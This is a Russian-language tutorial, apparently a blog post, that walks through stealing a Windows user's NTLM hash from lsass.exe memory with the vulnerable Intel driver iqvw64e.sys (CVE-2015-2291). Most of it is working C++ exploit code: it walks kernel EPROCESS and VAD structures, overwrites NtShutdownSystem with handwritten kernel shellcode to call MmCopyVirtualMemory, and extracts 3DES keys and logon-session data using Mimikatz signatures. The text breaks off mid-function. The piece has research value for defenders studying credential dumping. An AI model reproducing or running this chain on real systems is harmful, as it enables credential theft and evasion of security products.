Приветствую вас, дорогие читатели! Сегодня я хочу рассказать о том, как с помощью уязвимого драйвера получить NTLM hash пользователя. NTLM hash находится в памяти процесса lsass.exe операционной системы Windows. Процесс lsass.exe отвечает за авторизацию локального пользователя компьютера.
По этой теме я нашел несколько статей:
A physical graffiti of LSASS: getting credentials from physical memory for fun and learning.
[EX007] How playing CS: GO helped you bypass security products.
Разобрав эти статьи, у меня появилось желание объединить их для лучшего понимания метода извлечения NTLM hash’а из памяти процесса lsass.exe.
Важные замечания:
Все действия будут проводится на Windows 10 версии 1909 сборка 18363.1556.
Название разработанного приложения для этой статьи будет shor.exe.
Введение.
В операционной системе Windows у процесса есть два режима работы — «user-mode» и «kernel-mode». Во время работы процесса режимы переключаются между собой средствами операционной системы Windows.
Рассмотрим различия между «user-mode» и «kernel-mode»:
Код, выполняемый в user-mode, использует изолированное виртуальное адресное пространство. Из-за этого один процесс не может изменять данные, принадлежащие другому процессу. Помимо того, что виртуальное адресное пространство процесса в user-mode является изолированным, оно ограничено. Ограничение виртуального адресного пространства процесса в user-mode предотвращает изменение и возможные повреждения критически важных данных в операционной системе.
Код, выполняемый в kernel-mode, использует одно виртуальное адресное пространство. Это значит, что драйвер kernel-mode не изолирован от других драйверов и самой операционной системы.
Из-за того, что существуют механизмы, ограничивающие доступ к lsass.exe в user-mode, мне предстоит взаимодействовать с lsass.exe с помощью уязвимого драйвера, который может доставать полезную информацию или перезаписывать память в kernel-mode.
Для того, чтоб�� полноценно изучить извлечение NTLM hash пользователя из процесса lsass.exe с помощью уязвимого драйвера, я составил небольшой план действий:
Найти уязвимый драйвер для чтения и записи информации в kernel-mode.
Получить из kernel-mode структуру EPROCESS для двух процессов lsass.exe и shor.exe. которые потом будут переданы в MmCopyVirtualMemory, чтобы извлечь памяти из user-mode.
С помощью обнаруженных VAD (Virtual Address Descriptor) указателей в kernel-mode, найти виртуальные адреса в user-mode, для последующего использования в функции MmCopyVirtualMemory.
Разработать shellcode для kernel-mode, который будет использовать функцию MmCopyVirtualMemory.
Извлечь NTLM hash из процесса lsass.exe.
1. Поиск драйвера.
Поиск драйвера, обладающего уязвимостью чтения и записи информации в kernel-mode, привёл меня к проекту KDU. Этот проект позволяет загружать не подписанные драйвера с помощью подписанных, но уязвимых драйверов. Одним из таких драйверов: iqvw64e.sys.

В README.md проекта KDU есть номер CVE 2015-2291 и описание уязвимости для этого драйвера. В описании сказано, что уязвимость позволяет всем пользователям вызвать отказ в обслуживании или выполнить произвольный код с привилегиями ядра с помощью вызова IOCTL 0x80862013, 0x8086200B, 0x8086200F или 0x80862007.
После выбора драйвера я нашел проект на github описывающий данную уязвимость Intel-CVE-2015-2291. Из этого проекта взял код взаимодействия из user-mode с драйвером kernel-mode:

Разбор взаимодействия с драйвером
Передаваемый IOCTL 0x80862007 в DeviceIoControl.

Передаваемый буфер в DeviceIoControl.
QWORD switch_num (a1) — номер в switch.
QWORD (a1+8) — не используется.
QWORD sourse (a1+16) — указатель на блок памяти источник.
QWORD dest (a1+24) — указатель на блок памяти назначения.
QWORD count (a1+32) — количество
копируемых байтов.

Функция memmove будет использована драйвером для чтения и записи информации в kernel-mode.

2. Поиск EPROCESS для lsass.exe и shor.exe.
Каждый процесс в памяти ядра представлен структурой EPROCESS. Эта структура меняется от версии к версии Windows NT, поэтому я не буду приводить её целиком, а рассмотрю только нужные мне части.
ActiveProcessLinks (LIST_ENTRY) – это элемент двухсвязного списка, содержащий указатели FLink (на следующий процесс в операционной системе Windows) и BLink (на предыдущий процесс в операционной системе Windows):

ImageFileName – имя процесса.

VadRoot – AVL дерево в котором находятся указатели VAD (Virtual Address Descriptor).

VadCount – указывает на количество узлов в AVL дереве.

После разбора структуры, я приступил к поиску двух EPROCESS для lsass.exe и shor.exe. Сперва я нашел EPROCESS процесса System.exe. В этом мне помогла функция PsInitialSystemProcess, которая указывает на структуру EPROCESS процесса System.exe. Затем используя ActiveProcessLinks из структуры EPROCESS процесса System.exe, я прошел по двухсвязному списку активных процессов и нашел EPROCESS для lsass.exe и shor.exe, которые потом будут переданы в MmCopyVirtualMemory, с целью дампа памяти из user-mode. Более того, используя EPROCESS процесса lsass.exe я нашел VadRoot и VadCount, которые будут использоваться в будущем.
Код поиска EPROCESS, VadRoot и VadCount:
int main(int argc, char** argv) { HANDLE hDevice; printf("--[ Intel Network Adapter Diagnostic Driver exploit ]--\n"); printf("Opening handle to driver..\n"); if ((hDevice = CreateFileA(intel::szDevice, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE) { printf("Device %s succesfully opened!\n", intel::szDevice); printf("\tHandle: %p\n", hDevice); } else { printf("Error: Error opening device %s\n", intel::szDevice); return 0; } ULONG64 ReadSystemEPROCESS = PsInitialSystemProcess(); ULONG64 SystemEPROCESS = 0; intel::MemCopy(hDevice, (uint64_t)&SystemEPROCESS, (uint64_t)ReadSystemEPROCESS, 8); printf("[+]PsInitialSystemProcess pointer: 0x%llx\n", ReadSystemEPROCESS); printf("[+]PsInitialSystemProcess: 0x%llx\n", SystemEPROCESS); ULONG64 ActiveProcessLinksOffset = 0x2f0; ULONG64 ImageFileNameOffset = 0x450; ULONG64 ActiveProcessLinks = SystemEPROCESS+ ActiveProcessLinksOffset; ULONG64 VadRootOffset = 0x658; ULONG64 VadCountOffset = 0x668; ULONG64 VadRoot_lsass = 0; ULONG64 VadCount_lsass = 0; ULONG64 EPROCESS_lsass = 0; ULONG64 EPROCESS_CurrentProcess = 0; while (true){ ULONG64 ActiveProcessLinksNext = 0; intel::MemCopy(hDevice, (uint64_t)&ActiveProcessLinksNext, (uint64_t)ActiveProcessLinks, 8); UCHAR ImageFileName[MAX_PATH] = ""; intel::MemCopy(hDevice, (uint64_t)&ImageFileName, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + ImageFileNameOffset), MAX_PATH); if (!strcmp((const char*)ImageFileName, "lsass.exe")) { printf("[+]Name process: %.*s\n", (int)sizeof(ImageFileName), ImageFileName); EPROCESS_lsass = ActiveProcessLinksNext - ActiveProcessLinksOffset; printf("[+]EPROCESS lsass: 0x%llx\n", EPROCESS_lsass); intel::MemCopy(hDevice, (uint64_t)&VadRoot_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadRootOffset), 8); intel::MemCopy(hDevice, (uint64_t)&VadCount_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadCountOffset), 8); printf("[+]VadRoot: 0x%llx\n", VadRoot_lsass); printf("[+]VadCount: 0x%llx\n", VadCount_lsass); } if (!strcmp((const char*)ImageFileName, "shor.exe")) { printf("[+]Name process: %.*s\n", (int)sizeof(ImageFileName), ImageFileName); EPROCESS_CurrentProcess = ActiveProcessLinksNext - ActiveProcessLinksOffset; printf("[+]EPROCESS CurrentProcess: 0x%llx\n", EPROCESS_CurrentProcess); } if ((EPROCESS_lsass !=0) && (EPROCESS_CurrentProcess != 0)) { walkAVL(hDevice, VadRoot_lsass, VadCount_lsass, EPROCESS_lsass, EPROCESS_CurrentProcess); break; } ActiveProcessLinks = ActiveProcessLinksNext; } getchar(); return 0; }
Результат:

3. Поиск VAD.
Найдя EPROCESS для lsass.exe мне нужно обойти AVL дерево и извлечь все VAD указатели, в которых находятся адреса на начало и конец области виртуальной памяти в user-mode, а также путь к файлу. Данная информация понадобится мне для извлечения данных из user-mode процесса lsass.exe, с помощью функции MmCopyVirtualMemory.
Пример отображения VAD указателей и их содержимого:

Поиск VAD указателей для процесса lsass.exe начинается с нахождения вершины AVL дерева, за это отвечает указатель VadRoot:

Получив VadRoot, мне нужно пройти по всему AVL дереву и извлечь из него все VAD указатели. Они находятся в Left (смещение 0x00-0x07) и Right (смещение 0x08-0x10):

После того как VAD указатели были найдены, я прошел по ним и извлек адреса на начало (соединяя 4 байта из 0x18 и 1 байт из 0x20) и конец (объединяя 4 байта из 0x1c и 1 байт из 0x21) области виртуальной памяти в user-mode:

Код обхода AVL дерева:
void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) { ULONG64* queue; ULONG64 count = 0; ULONG64 cursor = 0; ULONG64 last = 1; VAD* vadList = NULL; queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4); // Make room for our queue queue[0] = VadRoot; // Node 0 vadList = (VAD*)malloc(VadCount * sizeof(*vadList)); ULONG64 size = 0; ULONG64 mask = 0; intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8); mask = mask & 0xffff000000000000; while (count < VadCount) { ULONG64 currentNode; currentNode = queue[cursor]; if (currentNode == 0) { cursor++; continue; } ULONG64 VadRootLeft = 0; intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8); ULONG64 VadRootRight = 0; intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8); //printf("[+]VadRootLeft: 0x%llx\n", VadRootLeft); //printf("[+]VadRootRight: 0x%llx\n", VadRootRight); queue[last++] = VadRootLeft; queue[last++] = VadRootRight; ULONG64 Start = 0; ULONG64 StartingVpn = 0; ULONG64 StartingVpnHigh = 0; intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4); intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1); Start = (StartingVpn << 12) | (StartingVpnHigh << 44); ULONG64 End = 0; ULONG64 EndingVpn = 0; ULONG64 EndingVpnHigh = 0; intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4); intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1); End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44); printf("[+] Vad 0x%llx | Start-End: 0x%llx-0x%llx Size byte: %lld\n", currentNode, Start, End, (End - Start)); count++; cursor++; } free(vadList); free(queue); return; }
Результат:

Кроме того, VAD содержит и другие данные, например, если область зарезервирована для образа файла, то можно получить путь к этому файлу. Это важно, потому что я хочу найти загруженный lsasrv.dll внутри процесса lsass.exe, а также отсюда будут получены учетные данные по аналогии с Mimikatz sekurlsa::msv.
Поиск пути к файлу lsasrv.dll будет заключатся в том, чтобы пройти по некоторым структурам в kernel-mode:
ffff810344b90110 5 7ffa044f0 7ffa04690 13 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\lsasrv.dll 0: kd> dt nt!_mmvad ffff810344b90110 +0x000 Core : _MMVAD_SHORT +0x040 u2 : <anonymous-tag> +0x048 Subsection : 0xffff8103`42db2d30 _SUBSECTION <=========================== +0x050 FirstPrototypePte : 0xffffa483`fe977010 _MMPTE +0x058 LastContiguousPte : 0xffffa483`fe977d10 _MMPTE +0x060 ViewLinks : _LIST_ENTRY [ 0xffff8103`42db2cb8 - 0xffff8103`42db2cb8 ] +0x070 VadsProcess : 0xffff8103`44b71081 _EPROCESS +0x078 u4 : <anonymous-tag> +0x080 FileObject : (null) 0: kd> dt nt!_SUBSECTION 0xffff8103`42db2d30 +0x000 ControlArea : 0xffff8103`42db2cb0 _CONTROL_AREA <=========================== +0x008 SubsectionBase : 0xffffa483`fe977010 _MMPTE +0x010 NextSubsection : 0xffff8103`42db2d68 _SUBSECTION +0x018 GlobalPerSessionHead : _RTL_AVL_TREE +0x018 CreationWaitList : (null) +0x018 SessionDriverProtos : (null) +0x020 u : <anonymous-tag> +0x024 StartingSector : 0 +0x028 NumberOfFullSectors : 2 +0x02c PtesInSubsection : 1 +0x030 u1 : <anonymous-tag> +0x034 UnusedPtes : 0y000000000000000000000000000000 (0) +0x034 ExtentQueryNeeded : 0y0 +0x034 DirtyPages : 0y0 0: kd> dt nt!_CONTROL_AREA 0xffff8103`42db2cb0 +0x000 Segment : 0xffffa484`02468160 _SEGMENT +0x008 ListHead : _LIST_ENTRY [ 0xffff8103`44b90170 - 0xffff8103`44b90170 ] +0x008 AweContext : 0xffff8103`44b90170 Void +0x018 NumberOfSectionReferences : 0 +0x020 NumberOfPfnReferences : 0x19a +0x028 NumberOfMappedViews : 1 +0x030 NumberOfUserReferences : 1 +0x038 u : <anonymous-tag> +0x03c u1 : <anonymous-tag> +0x040 FilePointer : _EX_FAST_REF <=========================== +0x048 ControlAreaLock : 0n0 +0x04c ModifiedWriteCount : 0 +0x050 WaitList : (null) +0x058 u2 : <anonymous-tag> +0x068 FileObjectLock : _EX_PUSH_LOCK +0x070 LockedPages : 1 +0x078 u3 : <anonymous-tag> 0: kd> dt nt!_EX_FAST_REF 0xffff8103`42db2cb0 + 0x40 +0x000 Object : 0xffff8103`44b7566d Void <=========================== & 0xfffffffffffffff0 +0x000 RefCnt : 0y1101 +0x000 Value : 0xffff8103`44b7566d
Чтобы получить правильный указатель на _FILE_OBJECT мне нужно изменить последнею цифру в 0xffff8103`44b7566d на 0, таким образом получив 0xffff8103`44b75660
0: kd> dt nt!_FILE_OBJECT 0xffff8103`44b75660 +0x000 Type : 0n5 +0x002 Size : 0n216 +0x008 DeviceObject : 0xffff8103`426d9c00 _DEVICE_OBJECT +0x010 Vpb : 0xffff8103`4265c0e0 _VPB +0x018 FsContext : 0xffffa484`02484170 Void +0x020 FsContext2 : 0xffffa484`024843d0 Void +0x028 SectionObjectPointer : 0xffff8103`42faaf28 _SECTION_OBJECT_POINTERS +0x030 PrivateCacheMap : (null) +0x038 FinalStatus : 0n0 +0x040 RelatedFileObject : (null) +0x048 LockOperation : 0 '' +0x049 DeletePending : 0 '' +0x04a ReadAccess : 0x1 '' +0x04b WriteAccess : 0 '' +0x04c DeleteAccess : 0 '' +0x04d SharedRead : 0x1 '' +0x04e SharedWrite : 0 '' +0x04f SharedDelete : 0x1 '' +0x050 Flags : 0x44042 +0x058 FileName : _UNICODE_STRING "\Windows\System32\lsasrv.dll" <=========================== +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0 +0x070 Waiters : 0 +0x074 Busy : 0 +0x078 LastLock : (null) +0x080 Lock : _KEVENT +0x098 Event : _KEVENT +0x0b0 CompletionContext : (null) +0x0b8 IrpListLock : 0 +0x0c0 IrpList : _LIST_ENTRY [ 0xffff8103`44b75720 - 0xffff8103`44b75720 ] +0x0d0 FileObjectExtension : (null)
Код поиска lsasrv.dll:
void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) { ULONG64* queue; ULONG64 count = 0; ULONG64 cursor = 0; ULONG64 last = 1; VAD* vadList = NULL; queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4); queue[0] = VadRoot; vadList = (VAD*)malloc(VadCount * sizeof(*vadList)); ULONG64 size = 0; ULONG64 mask = 0; intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8); mask = mask & 0xffff000000000000; while (count < VadCount) { ULONG64 currentNode; currentNode = queue[cursor]; if (currentNode == 0) { cursor++; continue; } ULONG64 VadRootLeft = 0; intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8); ULONG64 VadRootRight = 0; intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8); //printf("[+]VadRootLeft: 0x%llx\n", VadRootLeft); //printf("[+]VadRootRight: 0x%llx\n", VadRootRight); queue[last++] = VadRootLeft; queue[last++] = VadRootRight; ULONG64 Start = 0; ULONG64 StartingVpn = 0; ULONG64 StartingVpnHigh = 0; intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4); intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1); Start = (StartingVpn << 12) | (StartingVpnHigh << 44); ULONG64 End = 0; ULONG64 EndingVpn = 0; ULONG64 EndingVpnHigh = 0; intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4); intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1); End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44); ULONG64 subsection = 0; intel::MemCopy(hDevice, (uint64_t)&subsection, (uint64_t)(currentNode + 0x48), 8); if (subsection != 0 && subsection != 0xffffffffffffffff&& (subsection & mask) == mask) { ULONG64 control_area = 0; intel::MemCopy(hDevice, (uint64_t)&control_area, (uint64_t)(subsection), 8); if (control_area != 0 && control_area != 0xffffffffffffffff&& (control_area & mask) == mask) { ULONG64 fileobject = 0; intel::MemCopy(hDevice, (uint64_t)&fileobject, (uint64_t)(control_area + 0x40), 8); if (fileobject != 0 && fileobject != 0xffffffffffffffff && (fileobject & mask) == mask) { fileobject = fileobject & 0xfffffffffffffff0; USHORT Path_size = 0; intel::MemCopy(hDevice, (uint64_t)&Path_size, (uint64_t)(fileobject + 0x58 + 0x2), 8); ULONG64 Path = 0; intel::MemCopy(hDevice, (uint64_t)&Path, (uint64_t)(fileobject + 0x58 + 0x8), Path_size); char FileName[MAX_PATH]; memset(FileName,0, MAX_PATH); intel::MemCopy(hDevice, (uint64_t)&FileName, (uint64_t)(Path), Path_size); char lsasrv[28]; // = "Windows\System32\lsasrv.dll"; memset(lsasrv, 0, 28); int lsasrv_size = 0; for (int i = 1; i < (Path_size -1); i++) { if (FileName[i] != 0x00) { lsasrv[lsasrv_size] = FileName[i]; lsasrv_size++; } if (lsasrv_size == 27){ break; } } if (!strcmp((const char*)lsasrv, "Windows\\System32\\lsasrv.dll")) { std::cout << "[+]Found: lsasrv.dll " << (const char*)lsasrv << "\n"; printf("[+]Start-End: 0x%llx-0x%llx Size byte: %lld\n", Start, End, (End - Start)); printf("[+]Vad: 0x%llx\n", currentNode); break; } } } } count++; cursor++; } free(vadList); free(queue); return; }
Результат:

4. Shellcode в kernel-mode.
В процессе извлечения виртуальной памяти из user-mode с помощью драйвера я наткнулся на проблему, что он не имеет требуемого функционала.
Для выхода из данной ситуации я воспользовался идеей из второй статьи. В ней говорится, что можно перезаписать API функцию NtShutdownSystem расположенную в Ntoskrnl.exe (ядро операционной системы Windows NT) на собственный shellcode и вызвать эту (перезаписанную) функцию из ntdll.dll (динамически подключаемая библиотека, служащая прослойкой между API и NT API), чтобы shellcode выполнился с привилегиями kernel-mode.
Суть shellcode’а будет заключатся в том, чтобы вызвать недокументированную функцию MmCopyVirtualMemory, которая как раз позволит извлечь виртуальную память из lsass.exe расположенной в user-mode.

Разработанный shellcode будет работать следующим образом:
Сперва я выделяю участок памяти для вызова недокументированной функции MmCopyVirtualMemory.
Код выделения памяти:
DWORD64 GetAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll) { DWORD64 AddressAllocate = 0; char rawAllocate[44]; // выделяю память под shellcode // char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 }; char prologue[4] = {0x55,0x48,0x89,0xe5 }; //prologue memmove(rawAllocate, prologue, 4); char NumberoFBytes_mov_rdx[2] = { 0x48,0xBA }; // rdx NumberoFBytes memmove(rawAllocate + 4, NumberoFBytes_mov_rdx, 2); DWORD64 NumberoFBytes_mov_data = 0x200; memmove(rawAllocate + 6, (char*)&NumberoFBytes_mov_data, 8); char PoolType_mov_rcx[3] = { 0x48,0x33,0xc9 }; // rcx PoolType memmove(rawAllocate + 14, PoolType_mov_rcx, 3); char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address memmove(rawAllocate + 17, calladdress_mov_rax, 2); DWORD64 calladdress_mov_data = ExAllocatePool; memmove(rawAllocate + 19, (char*)&calladdress_mov_data, 8); char call_rax[2] = { 0xff,0xd0 }; memmove(rawAllocate + 27, call_rax, 2); char get_rax_mov[2] = { 0x48,0xa3 }; // get rax memmove(rawAllocate + 29, get_rax_mov, 2); DWORD64 get_rax_data = (DWORD64)&AddressAllocate; memmove(rawAllocate + 31, (char*)&get_rax_data, 8); char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue memmove(rawAllocate + 39, epilogue, 4); char ret[1] = { 0xC3 }; //ret memmove(rawAllocate + 43, ret, 1); intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawAllocate, 44); //34 NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll; fNtShutdownSystem(ShutdownPowerOff); return AddressAllocate; }
Результат:

Дальше, я изменю NtShutdownSystem так, чтобы совершить переход на выделенный участок памяти.
Код совершения перехода:
void CallAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll, DWORD64 AddressAllocate) { char rawCallAllocate[24]; char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 }; //char prologue[4] = {0x55,0x48,0x89,0xe5 }; //prologue memmove(rawCallAllocate, prologue, 7); char Allocate_mov_rax[2] = { 0x48,0xa1 }; // memmove(rawCallAllocate + 7, Allocate_mov_rax, 2); DWORD64 Allocate_mov_data = (DWORD64)&AddressAllocate; memmove(rawCallAllocate + 9, (char*)&Allocate_mov_data, 8); char calladdress_rax[2] = { 0xff,0xd0 }; // call address memmove(rawCallAllocate + 17, calladdress_rax, 2); char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue memmove(rawCallAllocate + 19, epilogue, 4); char ret[1] = { 0xC3 }; //ret memmove(rawCallAllocate + 23, ret, 1); intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawCallAllocate, 24); //34 }
Результат:

А в выделенный участок памяти помещаю shellcode, для вызова недокументированной функции MmCopyVirtualMemory.
Код вызова функции MmCopyVirtualMemory:
char rawData[96]; char prologue[4] = { 0x55,0x48,0x89,0xe5 }; //prologue memmove(rawData, prologue, 4); char result_mov_rax[2] = { 0x48,0xb8 }; //push result memmove(rawData + 4, result_mov_rax, 2); DWORD64 result_mov_data = (DWORD64)&Result; memmove(rawData + 6, (char*)&result_mov_data, 8); char push_rsp_30[5] = { 0x48,0x89,0x44,0x24,0x30 }; memmove(rawData + 14, push_rsp_30, 5); char push_rsp_28[5] = { 0xC6,0x44,0x24,0x28,0x00 }; // // push kernel mode memmove(rawData + 19, push_rsp_28, 5); char size_mov_rax[2] = { 0x48,0xb8 }; // push size to memmove(rawData + 24, size_mov_rax, 2); DWORD64 size_mov_data = Size; memmove(rawData + 26, (char*)&size_mov_data, 8); char push_rsp_20[5] = { 0x48,0x89,0x44,0x24,0x20 }; memmove(rawData + 34, push_rsp_20, 5); char targetaddress_mov_r9[2] = { 0x49,0xb9 }; // r9 targetaddress memmove(rawData + 39, targetaddress_mov_r9, 2); DWORD64 targetaddress_mov_data = (DWORD64)&targetaddress; memmove(rawData + 41, (char*)targetaddress_mov_data, 8); char targetProcess_mov_r8[2] = { 0x49,0xb8 }; // r8 targetProcess memmove(rawData + 49, targetProcess_mov_r8, 2); DWORD64 targetProcess_mov_data = targetProcess; memmove(rawData + 51, (char*)&targetProcess_mov_data, 8); char sourseaddress_mov_rdx[2] = { 0x48,0xBA }; // rdx sourseaddress memmove(rawData + 59, sourseaddress_mov_rdx, 2); DWORD64 sourseaddress_mov_data = sourseaddress; memmove(rawData + 61, (char*)&sourseaddress_mov_data, 8); char sourseProcess_mov_rcx[2] = { 0x48,0xb9 }; // rcx sourseProcess memmove(rawData + 69, sourseProcess_mov_rcx, 2); DWORD64 sourseProcess_mov_data = sourseProcess; memmove(rawData + 71, (char*)&sourseProcess_mov_data, 8); char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address memmove(rawData + 79, calladdress_mov_rax, 2); DWORD64 calladdress_mov_data = MmCopyVirtualMemory; memmove(rawData + 81, (char*)&calladdress_mov_data, 8); char call_rax[2] = { 0xff,0xd0 }; memmove(rawData + 89, call_rax, 2); char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue memmove(rawData + 91, epilogue, 4); char ret[1] = { 0xC3 }; //ret memmove(rawData + 95, ret, 1); intel::MemCopy(hDevice, (uint64_t)AddressAllocate, (uint64_t)rawData, 96); //96 NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll; DWORD64 Allocate = fNtShutdownSystem(ShutdownPowerOff);
Результат:

5. Извлечение NTLM hash из lsass.exe.
Реализация метода извлечения NTLM hash из lsass.exe взята из первой статьи. В ней сказано, что данный метод реализуется по аналогии с Mimikatz (sekurlsa::msv), который был взят из статьи “Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD” от Matteo Malvica.
Код поиска NTLM hash:
void lootLsaSrv(HANDLE hDevice, ULONG64 EPROCESS_lssas, ULONG64 Start, ULONG64 End, ULONG64 Size, ULONG64 EPROCESS_GetProcess) { //(char* start, ULONGLONG original, ULONGLONG size) { LARGE_INTEGER reader; DWORD bytes_read = 0; LPSTR lsasrv = NULL; ULONGLONG cursor = 0; ULONGLONG lsasrv_size = 0; ULONGLONG original = 0; BOOL result; ULONGLONG LogonSessionListCount = 0; ULONGLONG LogonSessionList = 0; ULONGLONG LogonSessionList_offset = 0; ULONGLONG LogonSessionListCount_offset = 0; ULONGLONG iv_offset = 0; ULONGLONG hDes_offset = 0; ULONGLONG DES_pointer = 0; unsigned char* iv_vector = NULL; unsigned char* DES_key = NULL; KIWI_BCRYPT_HANDLE_KEY h3DesKey; KIWI_BCRYPT_KEY81 extracted3DesKey; LSAINITIALIZE_NEEDLE LsaInitialize_needle = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 }; LOGONSESSIONLIST_NEEDLE LogonSessionList_needle = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 }; PBYTE LsaInitialize_needle_buffer = NULL; PBYTE needle_buffer = NULL; int offset_LsaInitialize_needle = 0; int offset_LogonSessionList_needle = 0; ULONGLONG currentElem = 0; original = (DWORD64)Start; /* Save the whole region in a buffer */ lsasrv = (LPSTR)malloc(Size); lsasrv = (LPSTR)dumpUsermode(hDevice, EPROCESS_lssas, Start, (End - Start), EPROCESS_GetProcess); lsasrv_size = Size; // Use mimikatz signatures to find the IV/keys printf("\t\t===================[Crypto info]===================\n"); LsaInitialize_needle_buffer = (PBYTE)malloc(sizeof(LSAINITIALIZE_NEEDLE)); memcpy(LsaInitialize_needle_buffer, &LsaInitialize_needle, sizeof(LSAINITIALIZE_NEEDLE)); offset_LsaInitialize_needle = memmem((PBYTE)lsasrv, lsasrv_size, LsaInitialize_needle_buffer, sizeof(LSAINITIALIZE_NEEDLE)); printf("[*] Offset for InitializationVector/h3DesKey/hAesKey is %d\n", offset_LsaInitialize_needle); memcpy(&iv_offset, lsasrv + offset_LsaInitialize_needle + 0x43, 4); //IV offset printf("[*] IV Vector relative offset: 0x%08llx\n", iv_offset); iv_vector = (unsigned char*)malloc(16); memcpy(iv_vector, lsasrv + offset_LsaInitialize_needle + 0x43 + 4 + iv_offset, 16); printf("\t\t[/!\\] IV Vector: "); for (int i = 0; i < 16; i++) { printf("%02x", iv_vector[i]); } printf(" [/!\\]\n"); free(iv_vector); memcpy(&hDes_offset, lsasrv + offset_LsaInitialize_needle - 0x59, 4); //DES KEY offset printf("[*] 3DES Handle Key relative offset: 0x%08llx\n", hDes_offset); printf("[*]0x%08llx\n", (original + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset)); memcpy(&DES_pointer, lsasrv + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset, 8); printf("[*] 3DES Handle Key pointer: 0x%08llx\n", DES_pointer); LPSTR h3DesKey_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_HANDLE_KEY)); h3DesKey_tmp = dumpUsermode(hDevice, EPROCESS_lssas, DES_pointer, sizeof(KIWI_BCRYPT_HANDLE_KEY), EPROCESS_GetProcess); memcpy(&h3DesKey, h3DesKey_tmp, sizeof(KIWI_BCRYPT_HANDLE_KEY)); free(h3DesKey_tmp); LPSTR h3DesKey_key_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81)); h3DesKey_key_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)h3DesKey.key, sizeof(KIWI_BCRYPT_KEY81), EPROCESS_GetProcess); memcpy(&extracted3DesKey, h3DesKey_key_tmp, sizeof(KIWI_BCRYPT_KEY81)); free(h3DesKey_key_tmp); DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret); memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret); printf("\t\t[/!\\] 3DES Key: "); for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) { printf("%02x", DES_key[i]); } printf(" [/!\\]\n"); free(DES_key); printf("\t\t================================================\n"); needle_buffer = (PBYTE)malloc(sizeof(LOGONSESSIONLIST_NEEDLE)); memcpy(needle_buffer, &LogonSessionList_needle, sizeof(LOGONSESSIONLIST_NEEDLE)); offset_LogonSessionList_needle = memmem((PBYTE)lsasrv, lsasrv_size, needle_buffer, sizeof(LOGONSESSIONLIST_NEEDLE)); memcpy(&LogonSessionList_offset, lsasrv + offset_LogonSessionList_needle + 0x17, 4); printf("[*] LogonSessionList Relative Offset: 0x%08llx\n", LogonSessionList_offset); LogonSessionList = original + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset; printf("[*] LogonSessionList: 0x%08llx\n", 